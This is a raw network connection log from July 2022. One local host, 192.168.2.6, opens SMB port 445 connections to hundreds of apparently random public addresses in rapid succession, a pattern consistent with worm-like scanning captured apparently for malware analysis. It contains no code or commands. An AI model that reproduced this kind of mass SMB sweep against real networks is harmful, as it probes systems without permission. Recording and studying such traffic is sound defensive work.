Jul 20, 2022 09:10:40.852966070 CEST	57913	445	192.168.2.6	58.148.152.163
Jul 20, 2022 09:10:40.853080034 CEST	57914	445	192.168.2.6	102.16.78.213
Jul 20, 2022 09:10:40.853267908 CEST	57916	445	192.168.2.6	106.167.28.117
Jul 20, 2022 09:10:40.853801012 CEST	57925	445	192.168.2.6	205.217.58.141
Jul 20, 2022 09:10:40.854398012 CEST	57932	445	192.168.2.6	49.151.69.38
Jul 20, 2022 09:10:40.856698036 CEST	57944	445	192.168.2.6	18.119.139.2
Jul 20, 2022 09:10:40.970673084 CEST	445	57895	190.64.134.178	192.168.2.6
Jul 20, 2022 09:10:40.984963894 CEST	57945	445	192.168.2.6	185.147.213.9
Jul 20, 2022 09:10:40.998995066 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:41.056724072 CEST	445	57907	14.3.110.28	192.168.2.6
Jul 20, 2022 09:10:41.280198097 CEST	57869	445	192.168.2.6	182.171.152.208
Jul 20, 2022 09:10:41.499031067 CEST	57895	445	192.168.2.6	190.64.134.178
Jul 20, 2022 09:10:41.500890017 CEST	57949	445	192.168.2.6	57.202.217.206
Jul 20, 2022 09:10:41.501763105 CEST	57950	445	192.168.2.6	15.47.24.96
Jul 20, 2022 09:10:41.502342939 CEST	57951	445	192.168.2.6	8.212.135.110
Jul 20, 2022 09:10:41.502916098 CEST	57952	445	192.168.2.6	180.1.9.52
Jul 20, 2022 09:10:41.503556013 CEST	57953	445	192.168.2.6	167.110.211.88
Jul 20, 2022 09:10:41.577136040 CEST	57907	445	192.168.2.6	14.3.110.28
Jul 20, 2022 09:10:41.579922915 CEST	57959	445	192.168.2.6	210.0.192.91
Jul 20, 2022 09:10:41.584316969 CEST	445	57869	182.171.152.208	192.168.2.6
Jul 20, 2022 09:10:41.602296114 CEST	57962	445	192.168.2.6	19.249.198.125
Jul 20, 2022 09:10:41.602325916 CEST	57963	445	192.168.2.6	57.221.199.144
Jul 20, 2022 09:10:41.603677034 CEST	57974	445	192.168.2.6	83.247.63.34
Jul 20, 2022 09:10:41.603698015 CEST	57972	445	192.168.2.6	185.205.80.94
Jul 20, 2022 09:10:41.604150057 CEST	57979	445	192.168.2.6	160.46.138.197
Jul 20, 2022 09:10:41.625694990 CEST	445	57972	185.205.80.94	192.168.2.6
Jul 20, 2022 09:10:41.747792959 CEST	445	57895	190.64.134.178	192.168.2.6
Jul 20, 2022 09:10:41.811506033 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:41.853404999 CEST	57983	445	192.168.2.6	20.117.56.40
Jul 20, 2022 09:10:41.855577946 CEST	57984	445	192.168.2.6	121.27.133.16
Jul 20, 2022 09:10:41.855803013 CEST	57987	445	192.168.2.6	4.25.133.225
Jul 20, 2022 09:10:41.855952024 CEST	57988	445	192.168.2.6	16.76.46.201
Jul 20, 2022 09:10:41.856085062 CEST	57990	445	192.168.2.6	121.69.142.50
Jul 20, 2022 09:10:41.856184006 CEST	57991	445	192.168.2.6	103.252.150.10
Jul 20, 2022 09:10:41.856441021 CEST	57997	445	192.168.2.6	112.16.27.68
Jul 20, 2022 09:10:41.858237982 CEST	445	57907	14.3.110.28	192.168.2.6
Jul 20, 2022 09:10:41.883177042 CEST	57998	445	192.168.2.6	53.221.108.175
Jul 20, 2022 09:10:41.884896994 CEST	58000	445	192.168.2.6	219.46.131.166
Jul 20, 2022 09:10:41.922192097 CEST	58001	445	192.168.2.6	18.119.139.3
Jul 20, 2022 09:10:41.999181986 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:42.013802052 CEST	58005	445	192.168.2.6	213.12.129.156
Jul 20, 2022 09:10:42.013822079 CEST	58004	445	192.168.2.6	206.211.128.222
Jul 20, 2022 09:10:42.013938904 CEST	58006	445	192.168.2.6	34.87.91.112
Jul 20, 2022 09:10:42.014020920 CEST	58007	445	192.168.2.6	147.49.187.228
Jul 20, 2022 09:10:42.014112949 CEST	58009	445	192.168.2.6	40.159.146.229
Jul 20, 2022 09:10:42.014364958 CEST	58011	445	192.168.2.6	104.202.177.216
Jul 20, 2022 09:10:42.014883041 CEST	58020	445	192.168.2.6	134.45.140.232
Jul 20, 2022 09:10:42.015176058 CEST	58026	445	192.168.2.6	215.112.155.230
Jul 20, 2022 09:10:42.046911001 CEST	58038	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.080796957 CEST	445	58038	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:42.080951929 CEST	58038	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.082828999 CEST	58038	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.099658966 CEST	58040	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.116664886 CEST	445	58038	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:42.116789103 CEST	58038	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.133763075 CEST	445	58040	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:42.133888006 CEST	58040	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.134125948 CEST	58040	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.167962074 CEST	445	58040	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:42.168004990 CEST	445	58040	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:42.168062925 CEST	58040	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.168226004 CEST	58040	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.168711901 CEST	58040	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:42.202069044 CEST	445	58040	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:42.202497959 CEST	445	58040	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:42.280356884 CEST	57972	445	192.168.2.6	185.205.80.94
Jul 20, 2022 09:10:42.301194906 CEST	445	57972	185.205.80.94	192.168.2.6
Jul 20, 2022 09:10:42.612358093 CEST	58044	445	192.168.2.6	12.87.248.164
Jul 20, 2022 09:10:42.613157034 CEST	58045	445	192.168.2.6	41.126.24.37
Jul 20, 2022 09:10:42.613821983 CEST	58046	445	192.168.2.6	17.137.95.83
Jul 20, 2022 09:10:42.614511967 CEST	58047	445	192.168.2.6	5.250.38.137
Jul 20, 2022 09:10:42.615257978 CEST	58048	445	192.168.2.6	109.213.181.174
Jul 20, 2022 09:10:42.705571890 CEST	58056	445	192.168.2.6	124.130.57.74
Jul 20, 2022 09:10:42.724739075 CEST	58058	445	192.168.2.6	26.220.173.168
Jul 20, 2022 09:10:42.725750923 CEST	58064	445	192.168.2.6	35.21.42.253
Jul 20, 2022 09:10:42.725898027 CEST	58068	445	192.168.2.6	34.49.139.249
Jul 20, 2022 09:10:42.726093054 CEST	58075	445	192.168.2.6	71.219.75.37
Jul 20, 2022 09:10:42.726171017 CEST	58076	445	192.168.2.6	139.75.37.59
Jul 20, 2022 09:10:42.970679045 CEST	58078	445	192.168.2.6	139.111.172.124
Jul 20, 2022 09:10:42.971514940 CEST	58079	445	192.168.2.6	136.8.163.226
Jul 20, 2022 09:10:42.973335028 CEST	58082	445	192.168.2.6	26.200.152.35
Jul 20, 2022 09:10:42.973961115 CEST	58083	445	192.168.2.6	215.70.176.70
Jul 20, 2022 09:10:42.975138903 CEST	58085	445	192.168.2.6	49.52.219.189
Jul 20, 2022 09:10:42.975720882 CEST	58086	445	192.168.2.6	27.7.73.136
Jul 20, 2022 09:10:42.980604887 CEST	58092	445	192.168.2.6	67.133.68.42
Jul 20, 2022 09:10:43.000494957 CEST	58093	445	192.168.2.6	18.119.139.4
Jul 20, 2022 09:10:43.001183033 CEST	58094	445	192.168.2.6	123.76.214.251
Jul 20, 2022 09:10:43.001936913 CEST	58095	445	192.168.2.6	78.228.80.4
Jul 20, 2022 09:10:43.160032034 CEST	58107	445	192.168.2.6	63.136.240.144
Jul 20, 2022 09:10:43.160243034 CEST	58114	445	192.168.2.6	133.67.243.83
Jul 20, 2022 09:10:43.160463095 CEST	58120	445	192.168.2.6	87.11.94.44
Jul 20, 2022 09:10:43.160669088 CEST	58125	445	192.168.2.6	46.23.32.141
Jul 20, 2022 09:10:43.160744905 CEST	58127	445	192.168.2.6	121.204.127.104
Jul 20, 2022 09:10:43.160763979 CEST	58128	445	192.168.2.6	38.244.26.229
Jul 20, 2022 09:10:43.160854101 CEST	58129	445	192.168.2.6	132.77.166.68
Jul 20, 2022 09:10:43.162270069 CEST	58130	445	192.168.2.6	111.156.151.182
Jul 20, 2022 09:10:43.608556032 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:43.721832037 CEST	58137	445	192.168.2.6	40.173.5.221
Jul 20, 2022 09:10:43.722572088 CEST	58138	445	192.168.2.6	109.192.71.204
Jul 20, 2022 09:10:43.723344088 CEST	58139	445	192.168.2.6	89.204.204.183
Jul 20, 2022 09:10:43.726660013 CEST	58140	445	192.168.2.6	121.70.163.123
Jul 20, 2022 09:10:43.727471113 CEST	58141	445	192.168.2.6	128.237.191.163
Jul 20, 2022 09:10:43.795917034 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:43.833553076 CEST	58149	445	192.168.2.6	25.75.221.171
Jul 20, 2022 09:10:43.838557005 CEST	58155	445	192.168.2.6	150.87.32.234
Jul 20, 2022 09:10:43.839585066 CEST	58156	445	192.168.2.6	44.15.25.17
Jul 20, 2022 09:10:43.840332031 CEST	58157	445	192.168.2.6	33.47.249.2
Jul 20, 2022 09:10:43.844942093 CEST	58163	445	192.168.2.6	17.158.108.148
Jul 20, 2022 09:10:43.849534035 CEST	58167	445	192.168.2.6	166.158.246.64
Jul 20, 2022 09:10:44.078897953 CEST	58170	445	192.168.2.6	18.119.139.5
Jul 20, 2022 09:10:44.095803022 CEST	58173	445	192.168.2.6	12.249.41.195
Jul 20, 2022 09:10:44.096656084 CEST	58174	445	192.168.2.6	84.18.164.50
Jul 20, 2022 09:10:44.113235950 CEST	58177	445	192.168.2.6	139.76.226.4
Jul 20, 2022 09:10:44.114193916 CEST	58178	445	192.168.2.6	145.80.72.39
Jul 20, 2022 09:10:44.115951061 CEST	58180	445	192.168.2.6	223.51.43.128
Jul 20, 2022 09:10:44.116900921 CEST	58181	445	192.168.2.6	129.126.86.177
Jul 20, 2022 09:10:44.120367050 CEST	58187	445	192.168.2.6	35.34.155.167
Jul 20, 2022 09:10:44.125917912 CEST	58188	445	192.168.2.6	132.164.112.96
Jul 20, 2022 09:10:44.125917912 CEST	58189	445	192.168.2.6	105.210.251.59
Jul 20, 2022 09:10:44.291058064 CEST	58193	445	192.168.2.6	67.12.82.215
Jul 20, 2022 09:10:44.292388916 CEST	58194	445	192.168.2.6	168.8.180.88
Jul 20, 2022 09:10:44.292819977 CEST	58195	445	192.168.2.6	27.224.120.162
Jul 20, 2022 09:10:44.292970896 CEST	58196	445	192.168.2.6	77.77.5.96
Jul 20, 2022 09:10:44.293245077 CEST	58197	445	192.168.2.6	155.201.60.246
Jul 20, 2022 09:10:44.294028997 CEST	58212	445	192.168.2.6	94.236.163.180
Jul 20, 2022 09:10:44.294367075 CEST	58218	445	192.168.2.6	192.122.196.135
Jul 20, 2022 09:10:44.294653893 CEST	58223	445	192.168.2.6	66.254.224.82
Jul 20, 2022 09:10:44.846117973 CEST	58231	445	192.168.2.6	51.87.201.68
Jul 20, 2022 09:10:44.846862078 CEST	58232	445	192.168.2.6	77.246.102.126
Jul 20, 2022 09:10:44.847599983 CEST	58233	445	192.168.2.6	137.221.174.82
Jul 20, 2022 09:10:44.851052999 CEST	58234	445	192.168.2.6	121.76.170.142
Jul 20, 2022 09:10:44.851999044 CEST	58235	445	192.168.2.6	90.14.192.82
Jul 20, 2022 09:10:44.959728003 CEST	58242	445	192.168.2.6	88.33.144.216
Jul 20, 2022 09:10:44.959777117 CEST	58243	445	192.168.2.6	26.74.254.66
Jul 20, 2022 09:10:44.959898949 CEST	58244	445	192.168.2.6	209.247.131.52
Jul 20, 2022 09:10:44.960167885 CEST	58249	445	192.168.2.6	217.56.104.81
Jul 20, 2022 09:10:44.988967896 CEST	58257	445	192.168.2.6	162.62.178.252
Jul 20, 2022 09:10:44.994111061 CEST	58261	445	192.168.2.6	37.221.15.23
Jul 20, 2022 09:10:45.145261049 CEST	445	58261	37.221.15.23	192.168.2.6
Jul 20, 2022 09:10:45.156608105 CEST	58264	445	192.168.2.6	18.119.139.6
Jul 20, 2022 09:10:45.172157049 CEST	58265	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:45.204370975 CEST	58267	445	192.168.2.6	23.210.207.246
Jul 20, 2022 09:10:45.204916954 CEST	58268	445	192.168.2.6	147.60.167.203
Jul 20, 2022 09:10:45.206671000 CEST	445	58265	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:45.206773996 CEST	58265	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:45.206974030 CEST	58265	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:45.241092920 CEST	445	58265	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:45.241205931 CEST	445	58265	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:45.241286039 CEST	58265	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:45.245301008 CEST	58265	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:45.245697975 CEST	58265	445	192.168.2.6	185.147.213.10
Jul 20, 2022 09:10:45.246442080 CEST	58271	445	192.168.2.6	187.72.235.29
Jul 20, 2022 09:10:45.254800081 CEST	58278	445	192.168.2.6	131.4.215.67
Jul 20, 2022 09:10:45.254956961 CEST	58277	445	192.168.2.6	130.8.98.254
Jul 20, 2022 09:10:45.254957914 CEST	58280	445	192.168.2.6	182.168.248.91
Jul 20, 2022 09:10:45.255022049 CEST	58281	445	192.168.2.6	28.170.106.236
Jul 20, 2022 09:10:45.266547918 CEST	58283	445	192.168.2.6	35.177.0.232
Jul 20, 2022 09:10:45.266657114 CEST	58285	445	192.168.2.6	89.89.244.177
Jul 20, 2022 09:10:45.279469013 CEST	445	58265	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:45.279774904 CEST	445	58265	185.147.213.10	192.168.2.6
Jul 20, 2022 09:10:45.320164919 CEST	58287	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.354259014 CEST	445	58287	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.354425907 CEST	58287	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.359554052 CEST	58287	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.363620043 CEST	58288	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.393549919 CEST	445	58287	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.393573999 CEST	445	58287	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.393651009 CEST	58287	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.397661924 CEST	445	58288	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.397789955 CEST	58288	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.398010969 CEST	58288	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.409890890 CEST	58293	445	192.168.2.6	181.79.208.158
Jul 20, 2022 09:10:45.414185047 CEST	58299	445	192.168.2.6	176.118.153.18
Jul 20, 2022 09:10:45.431986094 CEST	445	58288	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.432033062 CEST	445	58288	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.432141066 CEST	58288	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.432965994 CEST	58288	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.457581043 CEST	58314	445	192.168.2.6	60.208.10.125
Jul 20, 2022 09:10:45.457660913 CEST	58316	445	192.168.2.6	78.25.140.173
Jul 20, 2022 09:10:45.457678080 CEST	58315	445	192.168.2.6	80.164.137.245
Jul 20, 2022 09:10:45.457772970 CEST	58317	445	192.168.2.6	19.195.251.209
Jul 20, 2022 09:10:45.457845926 CEST	58318	445	192.168.2.6	188.113.39.212
Jul 20, 2022 09:10:45.457978964 CEST	58323	445	192.168.2.6	96.108.229.149
Jul 20, 2022 09:10:45.459176064 CEST	58288	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:45.467032909 CEST	445	58288	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.493238926 CEST	445	58288	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:45.811861038 CEST	58261	445	192.168.2.6	37.221.15.23
Jul 20, 2022 09:10:45.945988894 CEST	445	58261	37.221.15.23	192.168.2.6
Jul 20, 2022 09:10:45.972095013 CEST	58328	445	192.168.2.6	76.172.32.16
Jul 20, 2022 09:10:45.972855091 CEST	58329	445	192.168.2.6	44.117.1.145
Jul 20, 2022 09:10:45.973967075 CEST	58330	445	192.168.2.6	9.141.182.111
Jul 20, 2022 09:10:45.974828959 CEST	58331	445	192.168.2.6	26.142.71.72
Jul 20, 2022 09:10:45.975651026 CEST	58332	445	192.168.2.6	83.181.59.239
Jul 20, 2022 09:10:46.079658031 CEST	58336	445	192.168.2.6	187.247.217.209
Jul 20, 2022 09:10:46.080461979 CEST	58337	445	192.168.2.6	124.224.85.131
Jul 20, 2022 09:10:46.081291914 CEST	58338	445	192.168.2.6	35.174.74.136
Jul 20, 2022 09:10:46.086910009 CEST	58346	445	192.168.2.6	61.124.172.230
Jul 20, 2022 09:10:46.116215944 CEST	58355	445	192.168.2.6	190.65.46.187
Jul 20, 2022 09:10:46.116394043 CEST	58359	445	192.168.2.6	193.51.163.161
Jul 20, 2022 09:10:46.219804049 CEST	58362	445	192.168.2.6	18.119.139.7
Jul 20, 2022 09:10:46.314765930 CEST	58365	445	192.168.2.6	207.34.171.240
Jul 20, 2022 09:10:46.317337990 CEST	58366	445	192.168.2.6	164.44.162.15
Jul 20, 2022 09:10:46.363575935 CEST	58373	445	192.168.2.6	91.34.37.115
Jul 20, 2022 09:10:46.363622904 CEST	58375	445	192.168.2.6	119.80.131.214
Jul 20, 2022 09:10:46.363868952 CEST	58376	445	192.168.2.6	210.145.48.107
Jul 20, 2022 09:10:46.363991022 CEST	58377	445	192.168.2.6	223.229.47.107
Jul 20, 2022 09:10:46.364092112 CEST	58379	445	192.168.2.6	69.77.185.76
Jul 20, 2022 09:10:46.375571966 CEST	58380	445	192.168.2.6	209.119.29.34
Jul 20, 2022 09:10:46.376400948 CEST	58382	445	192.168.2.6	132.226.112.32
Jul 20, 2022 09:10:46.547558069 CEST	58387	445	192.168.2.6	83.28.148.147
Jul 20, 2022 09:10:46.547851086 CEST	58394	445	192.168.2.6	59.197.205.183
Jul 20, 2022 09:10:46.588731050 CEST	58398	445	192.168.2.6	215.94.241.124
Jul 20, 2022 09:10:46.590738058 CEST	58401	445	192.168.2.6	36.178.31.118
Jul 20, 2022 09:10:46.590857983 CEST	58404	445	192.168.2.6	134.19.132.229
Jul 20, 2022 09:10:46.590987921 CEST	58406	445	192.168.2.6	70.65.242.232
Jul 20, 2022 09:10:46.601404905 CEST	58418	445	192.168.2.6	11.69.194.231
Jul 20, 2022 09:10:46.601443052 CEST	58419	445	192.168.2.6	207.127.143.153
Jul 20, 2022 09:10:47.111373901 CEST	58425	445	192.168.2.6	184.154.170.44
Jul 20, 2022 09:10:47.112095118 CEST	58426	445	192.168.2.6	19.232.215.115
Jul 20, 2022 09:10:47.112807035 CEST	58427	445	192.168.2.6	6.186.92.30
Jul 20, 2022 09:10:47.113508940 CEST	58428	445	192.168.2.6	56.232.96.36
Jul 20, 2022 09:10:47.114368916 CEST	58429	445	192.168.2.6	125.15.102.166
Jul 20, 2022 09:10:47.210688114 CEST	58431	445	192.168.2.6	199.60.134.58
Jul 20, 2022 09:10:47.210757971 CEST	58432	445	192.168.2.6	38.9.214.2
Jul 20, 2022 09:10:47.211541891 CEST	58433	445	192.168.2.6	161.228.232.167
Jul 20, 2022 09:10:47.211944103 CEST	58441	445	192.168.2.6	38.69.179.73
Jul 20, 2022 09:10:47.239438057 CEST	58451	445	192.168.2.6	156.152.47.116
Jul 20, 2022 09:10:47.239500999 CEST	58454	445	192.168.2.6	27.80.168.24
Jul 20, 2022 09:10:47.263447046 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:47.282675982 CEST	58457	445	192.168.2.6	18.119.139.8
Jul 20, 2022 09:10:47.335412979 CEST	445	58441	38.69.179.73	192.168.2.6
Jul 20, 2022 09:10:47.405766964 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:47.424297094 CEST	58459	445	192.168.2.6	85.139.206.218
Jul 20, 2022 09:10:47.424640894 CEST	58460	445	192.168.2.6	169.135.5.103
Jul 20, 2022 09:10:47.474015951 CEST	58469	445	192.168.2.6	39.237.1.122
Jul 20, 2022 09:10:47.474792957 CEST	58470	445	192.168.2.6	70.33.81.77
Jul 20, 2022 09:10:47.475562096 CEST	58471	445	192.168.2.6	21.66.168.106
Jul 20, 2022 09:10:47.476274967 CEST	58472	445	192.168.2.6	134.156.2.169
Jul 20, 2022 09:10:47.477679968 CEST	58474	445	192.168.2.6	187.167.94.147
Jul 20, 2022 09:10:47.500999928 CEST	58475	445	192.168.2.6	196.201.66.81
Jul 20, 2022 09:10:47.502494097 CEST	58477	445	192.168.2.6	26.234.120.220
Jul 20, 2022 09:10:47.677184105 CEST	58484	445	192.168.2.6	117.7.29.29
Jul 20, 2022 09:10:47.677434921 CEST	58492	445	192.168.2.6	136.1.216.199
Jul 20, 2022 09:10:47.705918074 CEST	58495	445	192.168.2.6	128.130.142.87
Jul 20, 2022 09:10:47.743315935 CEST	58505	445	192.168.2.6	50.225.67.109
Jul 20, 2022 09:10:47.743489027 CEST	58506	445	192.168.2.6	44.138.114.195
Jul 20, 2022 09:10:47.743756056 CEST	58511	445	192.168.2.6	149.246.216.16
Jul 20, 2022 09:10:47.743904114 CEST	58513	445	192.168.2.6	169.249.180.228
Jul 20, 2022 09:10:47.744088888 CEST	58514	445	192.168.2.6	109.62.34.151
Jul 20, 2022 09:10:47.999624968 CEST	58441	445	192.168.2.6	38.69.179.73
Jul 20, 2022 09:10:48.161552906 CEST	445	58441	38.69.179.73	192.168.2.6
Jul 20, 2022 09:10:48.237896919 CEST	58521	445	192.168.2.6	120.248.46.239
Jul 20, 2022 09:10:48.238025904 CEST	58522	445	192.168.2.6	48.159.176.200
Jul 20, 2022 09:10:48.238152027 CEST	58525	445	192.168.2.6	98.83.5.213
Jul 20, 2022 09:10:48.238158941 CEST	58523	445	192.168.2.6	202.204.202.14
Jul 20, 2022 09:10:48.238192081 CEST	58526	445	192.168.2.6	183.68.170.104
Jul 20, 2022 09:10:48.315294027 CEST	58529	445	192.168.2.6	88.54.69.236
Jul 20, 2022 09:10:48.321299076 CEST	58541	445	192.168.2.6	194.61.177.10
Jul 20, 2022 09:10:48.321316004 CEST	58540	445	192.168.2.6	46.242.197.173
Jul 20, 2022 09:10:48.321440935 CEST	58542	445	192.168.2.6	6.13.240.24
Jul 20, 2022 09:10:48.348901033 CEST	58549	445	192.168.2.6	43.26.116.100
Jul 20, 2022 09:10:48.349661112 CEST	58550	445	192.168.2.6	186.186.26.131
Jul 20, 2022 09:10:48.360142946 CEST	58553	445	192.168.2.6	18.119.139.9
Jul 20, 2022 09:10:48.470673084 CEST	58554	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:48.506728888 CEST	445	58554	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:48.506921053 CEST	58554	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:48.507047892 CEST	58554	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:48.541038990 CEST	445	58554	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:48.541162968 CEST	445	58554	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:48.541214943 CEST	58554	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:48.541291952 CEST	58554	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:48.541524887 CEST	58554	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:48.548614979 CEST	58556	445	192.168.2.6	64.169.136.103
Jul 20, 2022 09:10:48.548625946 CEST	58557	445	192.168.2.6	77.164.133.242
Jul 20, 2022 09:10:48.577414036 CEST	445	58554	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:48.597009897 CEST	58560	445	192.168.2.6	185.147.213.12
Jul 20, 2022 09:10:48.610191107 CEST	58561	445	192.168.2.6	1.245.116.70
Jul 20, 2022 09:10:48.611829042 CEST	58563	445	192.168.2.6	204.169.218.186
Jul 20, 2022 09:10:48.612386942 CEST	58564	445	192.168.2.6	131.17.29.9
Jul 20, 2022 09:10:48.612971067 CEST	58565	445	192.168.2.6	214.121.34.222
Jul 20, 2022 09:10:48.613468885 CEST	58566	445	192.168.2.6	75.122.248.138
Jul 20, 2022 09:10:48.625716925 CEST	58573	445	192.168.2.6	134.144.254.111
Jul 20, 2022 09:10:48.626868010 CEST	58575	445	192.168.2.6	116.227.159.145
Jul 20, 2022 09:10:48.798263073 CEST	58579	445	192.168.2.6	188.213.167.181
Jul 20, 2022 09:10:48.803734064 CEST	58586	445	192.168.2.6	55.252.75.97
Jul 20, 2022 09:10:48.833435059 CEST	58593	445	192.168.2.6	173.164.240.13
Jul 20, 2022 09:10:48.870533943 CEST	58600	445	192.168.2.6	213.165.253.65
Jul 20, 2022 09:10:48.870557070 CEST	58602	445	192.168.2.6	53.194.132.54
Jul 20, 2022 09:10:48.870757103 CEST	58605	445	192.168.2.6	58.105.94.187
Jul 20, 2022 09:10:48.870897055 CEST	58608	445	192.168.2.6	33.50.89.207
Jul 20, 2022 09:10:48.870995045 CEST	58610	445	192.168.2.6	184.219.72.236
Jul 20, 2022 09:10:49.363595009 CEST	58619	445	192.168.2.6	210.189.245.39
Jul 20, 2022 09:10:49.364293098 CEST	58620	445	192.168.2.6	134.34.150.115
Jul 20, 2022 09:10:49.365308046 CEST	58621	445	192.168.2.6	82.47.49.5
Jul 20, 2022 09:10:49.369318962 CEST	58623	445	192.168.2.6	14.79.123.138
Jul 20, 2022 09:10:49.370091915 CEST	58624	445	192.168.2.6	108.206.69.182
Jul 20, 2022 09:10:49.422620058 CEST	58625	445	192.168.2.6	18.119.139.10
Jul 20, 2022 09:10:49.444314003 CEST	58627	445	192.168.2.6	201.21.168.238
Jul 20, 2022 09:10:49.445807934 CEST	58639	445	192.168.2.6	25.61.192.74
Jul 20, 2022 09:10:49.445887089 CEST	58640	445	192.168.2.6	139.161.228.163
Jul 20, 2022 09:10:49.445966005 CEST	58641	445	192.168.2.6	28.76.200.185
Jul 20, 2022 09:10:49.474745989 CEST	58648	445	192.168.2.6	63.125.167.109
Jul 20, 2022 09:10:49.476023912 CEST	58649	445	192.168.2.6	78.237.149.173
Jul 20, 2022 09:10:49.658222914 CEST	58653	445	192.168.2.6	205.53.100.4
Jul 20, 2022 09:10:49.658360004 CEST	58655	445	192.168.2.6	193.20.115.61
Jul 20, 2022 09:10:49.672264099 CEST	58657	445	192.168.2.6	185.147.213.13
Jul 20, 2022 09:10:49.719254017 CEST	58658	445	192.168.2.6	156.8.10.77
Jul 20, 2022 09:10:49.720326900 CEST	58660	445	192.168.2.6	80.186.198.192
Jul 20, 2022 09:10:49.720910072 CEST	58661	445	192.168.2.6	9.183.32.190
Jul 20, 2022 09:10:49.721661091 CEST	58662	445	192.168.2.6	55.44.151.181
Jul 20, 2022 09:10:49.722326994 CEST	58663	445	192.168.2.6	206.213.250.95
Jul 20, 2022 09:10:49.751967907 CEST	58670	445	192.168.2.6	166.115.107.250
Jul 20, 2022 09:10:49.753403902 CEST	58672	445	192.168.2.6	7.11.29.205
Jul 20, 2022 09:10:49.931736946 CEST	58676	445	192.168.2.6	48.153.134.199
Jul 20, 2022 09:10:49.933953047 CEST	58683	445	192.168.2.6	26.8.214.4
Jul 20, 2022 09:10:49.955137968 CEST	58690	445	192.168.2.6	46.240.93.38
Jul 20, 2022 09:10:50.003160000 CEST	58694	445	192.168.2.6	199.252.193.179
Jul 20, 2022 09:10:50.003402948 CEST	58696	445	192.168.2.6	132.83.147.61
Jul 20, 2022 09:10:50.003631115 CEST	58699	445	192.168.2.6	44.101.102.216
Jul 20, 2022 09:10:50.003927946 CEST	58703	445	192.168.2.6	140.2.136.176
Jul 20, 2022 09:10:50.004045010 CEST	58704	445	192.168.2.6	145.193.203.121
Jul 20, 2022 09:10:50.312271118 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:50.393933058 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:50.500685930 CEST	58717	445	192.168.2.6	18.119.139.11
Jul 20, 2022 09:10:50.502513885 CEST	58719	445	192.168.2.6	11.152.21.182
Jul 20, 2022 09:10:50.503640890 CEST	58720	445	192.168.2.6	160.219.201.127
Jul 20, 2022 09:10:50.504650116 CEST	58721	445	192.168.2.6	110.206.96.126
Jul 20, 2022 09:10:50.506185055 CEST	58723	445	192.168.2.6	31.56.146.104
Jul 20, 2022 09:10:50.507519960 CEST	58724	445	192.168.2.6	80.177.91.64
Jul 20, 2022 09:10:50.570570946 CEST	58725	445	192.168.2.6	35.201.169.43
Jul 20, 2022 09:10:50.573476076 CEST	58726	445	192.168.2.6	160.112.64.91
Jul 20, 2022 09:10:50.573493958 CEST	58727	445	192.168.2.6	14.102.146.107
Jul 20, 2022 09:10:50.574564934 CEST	58740	445	192.168.2.6	37.60.82.93
